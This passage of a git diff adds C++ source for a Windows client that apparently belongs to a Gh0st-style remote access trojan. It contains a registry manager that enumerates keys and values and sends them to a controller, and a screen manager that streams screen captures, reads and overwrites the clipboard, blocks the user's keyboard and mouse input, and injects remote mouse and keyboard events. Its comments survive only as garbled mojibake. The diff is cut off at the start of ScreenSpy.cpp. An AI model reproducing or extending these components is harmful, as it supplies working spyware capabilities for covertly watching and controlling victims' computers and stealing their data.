#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
|
#include "Manager.h"
|
||||||
|
#include "RegisterOperation.h"
|
||||||
|
|
||||||
|
class CRegisterManager : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CRegisterManager(IOCPClient* ClientObject, int n);
|
||||||
|
virtual ~CRegisterManager();
|
||||||
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
VOID CRegisterManager::Find(char bToken, char *szPath);
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)
|
||||||
198
client/RegisterOperation.cpp
Normal file
198
client/RegisterOperation.cpp
Normal file
@@ -0,0 +1,198 @@
|
|||||||
|
// RegisterOperation.cpp: implementation of the RegisterOperation class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "RegisterOperation.h"
|
||||||
|
#include "Common.h"
|
||||||
|
#include <IOSTREAM>
|
||||||
|
using namespace std;
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
enum MYKEY{
|
||||||
|
MHKEY_CLASSES_ROOT,
|
||||||
|
MHKEY_CURRENT_USER,
|
||||||
|
MHKEY_LOCAL_MACHINE,
|
||||||
|
MHKEY_USERS,
|
||||||
|
MHKEY_CURRENT_CONFIG
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
enum KEYVALUE{
|
||||||
|
MREG_SZ,
|
||||||
|
MREG_DWORD,
|
||||||
|
MREG_BINARY,
|
||||||
|
MREG_EXPAND_SZ
|
||||||
|
};
|
||||||
|
|
||||||
|
struct REGMSG{
|
||||||
|
int count; //<2F><><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>
|
||||||
|
DWORD size; //<2F><><EFBFBD>ִ<EFBFBD>С
|
||||||
|
DWORD valsize; //ֵ<><D6B5>С
|
||||||
|
|
||||||
|
};
|
||||||
|
RegisterOperation::RegisterOperation(char bToken)
|
||||||
|
{
|
||||||
|
switch(bToken){
|
||||||
|
case MHKEY_CLASSES_ROOT:
|
||||||
|
MKEY=HKEY_CLASSES_ROOT;
|
||||||
|
break;
|
||||||
|
case MHKEY_CURRENT_USER:
|
||||||
|
MKEY=HKEY_CURRENT_USER;
|
||||||
|
break;
|
||||||
|
case MHKEY_LOCAL_MACHINE:
|
||||||
|
MKEY=HKEY_LOCAL_MACHINE;
|
||||||
|
break;
|
||||||
|
case MHKEY_USERS:
|
||||||
|
MKEY=HKEY_USERS;
|
||||||
|
break;
|
||||||
|
case MHKEY_CURRENT_CONFIG:
|
||||||
|
MKEY=HKEY_CURRENT_CONFIG;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
MKEY=HKEY_LOCAL_MACHINE;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
ZeroMemory(KeyPath,MAX_PATH);
|
||||||
|
}
|
||||||
|
|
||||||
|
RegisterOperation::~RegisterOperation()
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
char* RegisterOperation::FindPath()
|
||||||
|
{
|
||||||
|
char *szBuffer=NULL;
|
||||||
|
HKEY hKey; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ؾ<EFBFBD><D8BE><EFBFBD>
|
||||||
|
/*<2A><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD> User kdjfjkf\kdjfkdjf\ */
|
||||||
|
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS)//<2F><><EFBFBD><EFBFBD>
|
||||||
|
{
|
||||||
|
DWORD dwIndex=0,NameCount,NameMaxLen;
|
||||||
|
DWORD KeySize,KeyCount,KeyMaxLen,MaxDateLen;
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD><EFBFBD>
|
||||||
|
if(RegQueryInfoKey(hKey,NULL,NULL,NULL,&KeyCount, //14
|
||||||
|
&KeyMaxLen,NULL,&NameCount,&NameMaxLen,&MaxDateLen,NULL,NULL)!=ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
//һ<>㱣<EFBFBD><E3B1A3><EFBFBD><EFBFBD>ʩ
|
||||||
|
KeySize=KeyMaxLen+1;
|
||||||
|
if(KeyCount>0&&KeySize>1){
|
||||||
|
int Size=sizeof(REGMSG)+1;
|
||||||
|
|
||||||
|
//buf=new char[KeyCnt*KeySize+size+1];
|
||||||
|
DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11]
|
||||||
|
szBuffer=(char*)LocalAlloc(LPTR, DataSize);
|
||||||
|
ZeroMemory(szBuffer,DataSize);
|
||||||
|
szBuffer[0]=TOKEN_REG_PATH; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||||
|
REGMSG msg; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||||
|
msg.size=KeySize;
|
||||||
|
msg.count=KeyCount;
|
||||||
|
memcpy(szBuffer+1,(void*)&msg,Size);
|
||||||
|
|
||||||
|
char * szTemp=new char[KeySize];
|
||||||
|
for(dwIndex=0;dwIndex<KeyCount;dwIndex++) //ö<><C3B6><EFBFBD><EFBFBD>
|
||||||
|
{
|
||||||
|
ZeroMemory(szTemp,KeySize);
|
||||||
|
DWORD i=KeySize; //21
|
||||||
|
RegEnumKeyEx(hKey,dwIndex,szTemp,&i,NULL,NULL,NULL,NULL);
|
||||||
|
strcpy(szBuffer+dwIndex*KeySize+Size,szTemp);
|
||||||
|
}
|
||||||
|
delete[] szTemp;
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return szBuffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void RegisterOperation::SetPath(char *szPath)
|
||||||
|
{
|
||||||
|
ZeroMemory(KeyPath,MAX_PATH);
|
||||||
|
strcpy(KeyPath,szPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
char* RegisterOperation::FindKey()
|
||||||
|
{
|
||||||
|
char *szValueName; //<2F><>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD>
|
||||||
|
LPBYTE szValueDate; //<2F><>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
char *szBuffer=NULL;
|
||||||
|
HKEY hKey; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ؾ<EFBFBD><D8BE><EFBFBD>
|
||||||
|
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS)//<2F><><EFBFBD><EFBFBD>
|
||||||
|
{
|
||||||
|
DWORD dwIndex=0,NameSize,NameCount,NameMaxLen,Type;
|
||||||
|
DWORD KeyCount,KeyMaxLen,DataSize,MaxDateLen;
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD><EFBFBD>
|
||||||
|
if(RegQueryInfoKey(hKey,NULL,NULL,NULL,
|
||||||
|
&KeyCount,&KeyMaxLen,NULL,&NameCount,&NameMaxLen,&MaxDateLen,NULL,NULL)!=ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
if(NameCount>0&&MaxDateLen>0)
|
||||||
|
{
|
||||||
|
DataSize=MaxDateLen+1;
|
||||||
|
NameSize=NameMaxLen+100;
|
||||||
|
REGMSG msg;
|
||||||
|
msg.count=NameCount; //<2F>ܸ<EFBFBD><DCB8><EFBFBD>
|
||||||
|
msg.size=NameSize; //<2F><><EFBFBD>ִ<EFBFBD>С
|
||||||
|
msg.valsize=DataSize; //<2F><><EFBFBD>ݴ<EFBFBD>С
|
||||||
|
int msgsize=sizeof(REGMSG);
|
||||||
|
// ͷ <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
||||||
|
DWORD size=sizeof(REGMSG)+
|
||||||
|
sizeof(BYTE)*NameCount+ NameSize*NameCount+DataSize*NameCount+10;
|
||||||
|
szBuffer = (char*)LocalAlloc(LPTR, size);
|
||||||
|
ZeroMemory(szBuffer,size);
|
||||||
|
szBuffer[0]=TOKEN_REG_KEY; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||||
|
memcpy(szBuffer+1,(void*)&msg,msgsize); //<2F><><EFBFBD><EFBFBD>ͷ
|
||||||
|
|
||||||
|
szValueName=(char *)malloc(NameSize);
|
||||||
|
szValueDate=(LPBYTE)malloc(DataSize);
|
||||||
|
|
||||||
|
char *szTemp=szBuffer+msgsize+1;
|
||||||
|
for(dwIndex=0;dwIndex<NameCount;dwIndex++) //ö<>ټ<EFBFBD>ֵ
|
||||||
|
{
|
||||||
|
ZeroMemory(szValueName,NameSize);
|
||||||
|
ZeroMemory(szValueDate,DataSize);
|
||||||
|
|
||||||
|
DataSize=MaxDateLen+1;
|
||||||
|
NameSize=NameMaxLen+100;
|
||||||
|
|
||||||
|
RegEnumValue(hKey,dwIndex,szValueName,&NameSize,
|
||||||
|
NULL,&Type,szValueDate,&DataSize);//<2F><>ȡ<EFBFBD><C8A1>ֵ
|
||||||
|
|
||||||
|
if(Type==REG_SZ)
|
||||||
|
{
|
||||||
|
szTemp[0]=MREG_SZ;
|
||||||
|
}
|
||||||
|
if(Type==REG_DWORD)
|
||||||
|
{
|
||||||
|
szTemp[0]=MREG_DWORD;
|
||||||
|
}
|
||||||
|
if(Type==REG_BINARY)
|
||||||
|
{
|
||||||
|
szTemp[0]=MREG_BINARY;
|
||||||
|
}
|
||||||
|
if(Type==REG_EXPAND_SZ)
|
||||||
|
{
|
||||||
|
szTemp[0]=MREG_EXPAND_SZ;
|
||||||
|
}
|
||||||
|
szTemp+=sizeof(BYTE);
|
||||||
|
strcpy(szTemp,szValueName);
|
||||||
|
szTemp+=msg.size;
|
||||||
|
memcpy(szTemp,szValueDate,msg.valsize);
|
||||||
|
szTemp+=msg.valsize;
|
||||||
|
}
|
||||||
|
free(szValueName);
|
||||||
|
free(szValueDate);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return szBuffer;
|
||||||
|
}
|
||||||
24
client/RegisterOperation.h
Normal file
24
client/RegisterOperation.h
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
// RegisterOperation.h: interface for the RegisterOperation class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#if !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_)
|
||||||
|
#define AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
|
class RegisterOperation
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
RegisterOperation(char bToken);
|
||||||
|
virtual ~RegisterOperation();
|
||||||
|
char* RegisterOperation::FindPath();
|
||||||
|
HKEY MKEY;
|
||||||
|
char KeyPath[MAX_PATH];
|
||||||
|
void RegisterOperation::SetPath(char *szPath);
|
||||||
|
char* RegisterOperation::FindKey();
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_)
|
||||||
BIN
client/Res/msg.wav
Normal file
BIN
client/Res/msg.wav
Normal file
Binary file not shown.
312
client/ScreenManager.cpp
Normal file
312
client/ScreenManager.cpp
Normal file
@@ -0,0 +1,312 @@
|
|||||||
|
// ScreenManager.cpp: implementation of the CScreenManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "ScreenManager.h"
|
||||||
|
#include "Common.h"
|
||||||
|
#include <IOSTREAM>
|
||||||
|
#if _MSC_VER <= 1200
|
||||||
|
#include <Winable.h>
|
||||||
|
#else
|
||||||
|
#include <WinUser.h>
|
||||||
|
#endif
|
||||||
|
using namespace std;
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#define WM_MOUSEWHEEL 0x020A
|
||||||
|
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
|
||||||
|
|
||||||
|
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||||
|
{
|
||||||
|
m_bIsWorking = TRUE;
|
||||||
|
m_bIsBlockInput = FALSE;
|
||||||
|
|
||||||
|
m_ScreenSpyObject = new CScreenSpy(16);
|
||||||
|
|
||||||
|
if (m_ScreenSpyObject==NULL)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||||
|
{
|
||||||
|
CScreenManager *This = (CScreenManager *)lParam;
|
||||||
|
|
||||||
|
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>ṹ
|
||||||
|
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
This->WaitForDialogOpen();
|
||||||
|
|
||||||
|
This->SendFirstScreen();
|
||||||
|
while (This->m_bIsWorking)
|
||||||
|
{
|
||||||
|
This->SendNextScreen();
|
||||||
|
}
|
||||||
|
|
||||||
|
cout<<"ScreenWorkThread Exit"<<endl;
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CScreenManager::SendBitMapInfor()
|
||||||
|
{
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>bmp<6D>ṹ<EFBFBD>Ĵ<EFBFBD>С
|
||||||
|
|
||||||
|
ULONG ulLength = 1 + m_ScreenSpyObject->GetBISize(); //<2F><>С
|
||||||
|
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
|
||||||
|
ulLength, MEM_COMMIT, PAGE_READWRITE);
|
||||||
|
|
||||||
|
szBuffer[0] = TOKEN_BITMAPINFO;
|
||||||
|
//<2F><><EFBFBD>ォbmpλͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
|
||||||
|
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
||||||
|
m_ClientObject->OnServerSending((char*)szBuffer, ulLength);
|
||||||
|
VirtualFree(szBuffer, 0, MEM_RELEASE);
|
||||||
|
}
|
||||||
|
|
||||||
|
CScreenManager::~CScreenManager()
|
||||||
|
{
|
||||||
|
cout<<"ScreenManager <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<<endl;
|
||||||
|
|
||||||
|
m_bIsWorking = FALSE;
|
||||||
|
|
||||||
|
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||||
|
if (m_hWorkThread!=NULL)
|
||||||
|
{
|
||||||
|
CloseHandle(m_hWorkThread);
|
||||||
|
}
|
||||||
|
|
||||||
|
delete[] m_ScreenSpyObject;
|
||||||
|
m_ScreenSpyObject = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
switch(szBuffer[0])
|
||||||
|
{
|
||||||
|
case COMMAND_NEXT:
|
||||||
|
{
|
||||||
|
NotifyDialogIsOpen();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case COMMAND_SCREEN_CONTROL:
|
||||||
|
{
|
||||||
|
BlockInput(false);
|
||||||
|
ProcessCommand(szBuffer + 1, ulLength - 1);
|
||||||
|
BlockInput(m_bIsBlockInput); //<2F>ٻظ<D9BB><D8B8><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread<61><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
{
|
||||||
|
m_bIsBlockInput = *(LPBYTE)&szBuffer[1]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̵<EFBFBD><CCB5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
BlockInput(m_bIsBlockInput);
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case COMMAND_SCREEN_GET_CLIPBOARD: //<2F><><EFBFBD><EFBFBD>
|
||||||
|
{
|
||||||
|
SendClientClipboard();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case COMMAND_SCREEN_SET_CLIPBOARD:
|
||||||
|
{
|
||||||
|
UpdateClientClipboard((char*)szBuffer + 1, ulLength - 1);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
if (!::OpenClipboard(NULL))
|
||||||
|
return;
|
||||||
|
::EmptyClipboard();
|
||||||
|
HGLOBAL hGlobal = GlobalAlloc(GMEM_DDESHARE, ulLength);
|
||||||
|
if (hGlobal != NULL) {
|
||||||
|
|
||||||
|
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
|
||||||
|
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
|
||||||
|
GlobalUnlock(hGlobal);
|
||||||
|
SetClipboardData(CF_TEXT, hGlobal);
|
||||||
|
GlobalFree(hGlobal);
|
||||||
|
}
|
||||||
|
CloseClipboard();
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CScreenManager::SendClientClipboard()
|
||||||
|
{
|
||||||
|
if (!::OpenClipboard(NULL)) //<2F><EFBFBD><F2BFAABC>а<EFBFBD><D0B0>豸
|
||||||
|
return;
|
||||||
|
HGLOBAL hGlobal = GetClipboardData(CF_TEXT); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ڴ<EFBFBD>
|
||||||
|
if (hGlobal == NULL)
|
||||||
|
{
|
||||||
|
::CloseClipboard();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
int iPacketLength = GlobalSize(hGlobal) + 1;
|
||||||
|
char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //<2F><><EFBFBD><EFBFBD>
|
||||||
|
LPBYTE szBuffer = new BYTE[iPacketLength];
|
||||||
|
|
||||||
|
|
||||||
|
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
|
||||||
|
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
||||||
|
::GlobalUnlock(hGlobal);
|
||||||
|
::CloseClipboard();
|
||||||
|
m_ClientObject->OnServerSending((char*)szBuffer, iPacketLength);
|
||||||
|
delete[] szBuffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
VOID CScreenManager::SendFirstScreen()
|
||||||
|
{
|
||||||
|
//<2F><>CScreenSpy<70><79>getFirstScreen<65><6E><EFBFBD><EFBFBD><EFBFBD>еõ<D0B5>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
//Ȼ<><C8BB><EFBFBD><EFBFBD>getFirstImageSize<7A>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݵĴ<DDB5>СȻ<D0A1><C8BB><EFBFBD><EFBFBD><EFBFBD>ͳ<EFBFBD>ȥ
|
||||||
|
BOOL bRet = FALSE;
|
||||||
|
LPVOID FirstScreenData = NULL;
|
||||||
|
|
||||||
|
FirstScreenData = m_ScreenSpyObject->GetFirstScreenData();
|
||||||
|
if (FirstScreenData == NULL)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength();
|
||||||
|
LPBYTE szBuffer = new BYTE[ulFirstSendLength];
|
||||||
|
if (szBuffer == NULL)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
szBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||||
|
memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1);
|
||||||
|
|
||||||
|
m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength);
|
||||||
|
|
||||||
|
delete [] szBuffer;
|
||||||
|
|
||||||
|
szBuffer = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
VOID CScreenManager::SendNextScreen()
|
||||||
|
{
|
||||||
|
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݴ<EFBFBD>С<EFBFBD><D0A1>Ȼ<EFBFBD><C8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
//<2F><><EFBFBD>ǵ<EFBFBD>getNextScreen<65><6E><EFBFBD><EFBFBD><EFBFBD>Ķ<EFBFBD><C4B6><EFBFBD>
|
||||||
|
LPVOID NextScreenData = NULL;
|
||||||
|
ULONG ulNextSendLength = 0;
|
||||||
|
NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
|
||||||
|
|
||||||
|
if (ulNextSendLength == 0 || NextScreenData==NULL)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
ulNextSendLength += 1;
|
||||||
|
|
||||||
|
LPBYTE szBuffer = new BYTE[ulNextSendLength];
|
||||||
|
if (szBuffer == NULL)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
szBuffer[0] = TOKEN_NEXTSCREEN;
|
||||||
|
memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1);
|
||||||
|
|
||||||
|
m_ClientObject->OnServerSending((char*)szBuffer, ulNextSendLength);
|
||||||
|
|
||||||
|
delete [] szBuffer;
|
||||||
|
szBuffer = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
// <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>Ϸ<EFBFBD>
|
||||||
|
if (ulLength % sizeof(MSG) != 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
ULONG ulMsgCount = ulLength / sizeof(MSG);
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
//1ruan kdjfkdf gan
|
||||||
|
for (int i = 0; i < ulMsgCount; i++) //1
|
||||||
|
{
|
||||||
|
MSG *Msg = (MSG *)(szBuffer + i * sizeof(MSG));
|
||||||
|
switch (Msg->message)
|
||||||
|
{
|
||||||
|
case WM_LBUTTONDOWN:
|
||||||
|
case WM_LBUTTONUP:
|
||||||
|
case WM_RBUTTONDOWN:
|
||||||
|
case WM_RBUTTONUP:
|
||||||
|
case WM_MOUSEMOVE:
|
||||||
|
case WM_LBUTTONDBLCLK:
|
||||||
|
case WM_RBUTTONDBLCLK:
|
||||||
|
case WM_MBUTTONDOWN:
|
||||||
|
case WM_MBUTTONUP:
|
||||||
|
{
|
||||||
|
POINT Point;
|
||||||
|
Point.x = LOWORD(Msg->lParam);
|
||||||
|
Point.y = HIWORD(Msg->lParam);
|
||||||
|
SetCursorPos(Point.x, Point.y);
|
||||||
|
SetCapture(WindowFromPoint(Point)); //???
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
switch(Msg->message) //<2F>˿ڷ<CBBF><DAB7>ӿ<EFBFBD><D3BF>ݷ<EFBFBD>
|
||||||
|
{
|
||||||
|
case WM_LBUTTONDOWN:
|
||||||
|
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
|
||||||
|
break;
|
||||||
|
case WM_LBUTTONUP:
|
||||||
|
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||||
|
break;
|
||||||
|
case WM_RBUTTONDOWN:
|
||||||
|
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
|
||||||
|
break;
|
||||||
|
case WM_RBUTTONUP:
|
||||||
|
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||||
|
break;
|
||||||
|
case WM_LBUTTONDBLCLK:
|
||||||
|
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||||
|
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||||
|
break;
|
||||||
|
case WM_RBUTTONDBLCLK:
|
||||||
|
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||||
|
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||||
|
break;
|
||||||
|
case WM_MBUTTONDOWN:
|
||||||
|
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
|
||||||
|
break;
|
||||||
|
case WM_MBUTTONUP:
|
||||||
|
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||||||
|
break;
|
||||||
|
case WM_MOUSEWHEEL:
|
||||||
|
mouse_event(MOUSEEVENTF_WHEEL, 0, 0,
|
||||||
|
GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
|
||||||
|
break;
|
||||||
|
case WM_KEYDOWN:
|
||||||
|
case WM_SYSKEYDOWN:
|
||||||
|
keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), 0, 0);
|
||||||
|
break;
|
||||||
|
case WM_KEYUP:
|
||||||
|
case WM_SYSKEYUP:
|
||||||
|
keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
39
client/ScreenManager.h
Normal file
39
client/ScreenManager.h
Normal file
@@ -0,0 +1,39 @@
|
|||||||
|
// ScreenManager.h: interface for the CScreenManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#if !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|
||||||
|
#define AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
|
#include "Manager.h"
|
||||||
|
#include "ScreenSpy.h"
|
||||||
|
|
||||||
|
class IOCPClient;
|
||||||
|
|
||||||
|
class CScreenManager : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CScreenManager(IOCPClient* ClientObject, int n);
|
||||||
|
virtual ~CScreenManager();
|
||||||
|
HANDLE m_hWorkThread;
|
||||||
|
|
||||||
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||||
|
VOID CScreenManager::SendBitMapInfor();
|
||||||
|
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
|
||||||
|
CScreenSpy* m_ScreenSpyObject;
|
||||||
|
VOID CScreenManager::SendFirstScreen();
|
||||||
|
VOID CScreenManager::SendNextScreen();
|
||||||
|
|
||||||
|
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength);
|
||||||
|
BOOL m_bIsWorking;
|
||||||
|
BOOL m_bIsBlockInput;
|
||||||
|
VOID CScreenManager::SendClientClipboard();
|
||||||
|
VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|
||||||
266
client/ScreenSpy.cpp
Normal file
266
client/ScreenSpy.cpp
Normal file
@@ -0,0 +1,266 @@
|
|||||||
|
// ScreenSpy.cpp: implementation of the CScreenSpy class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
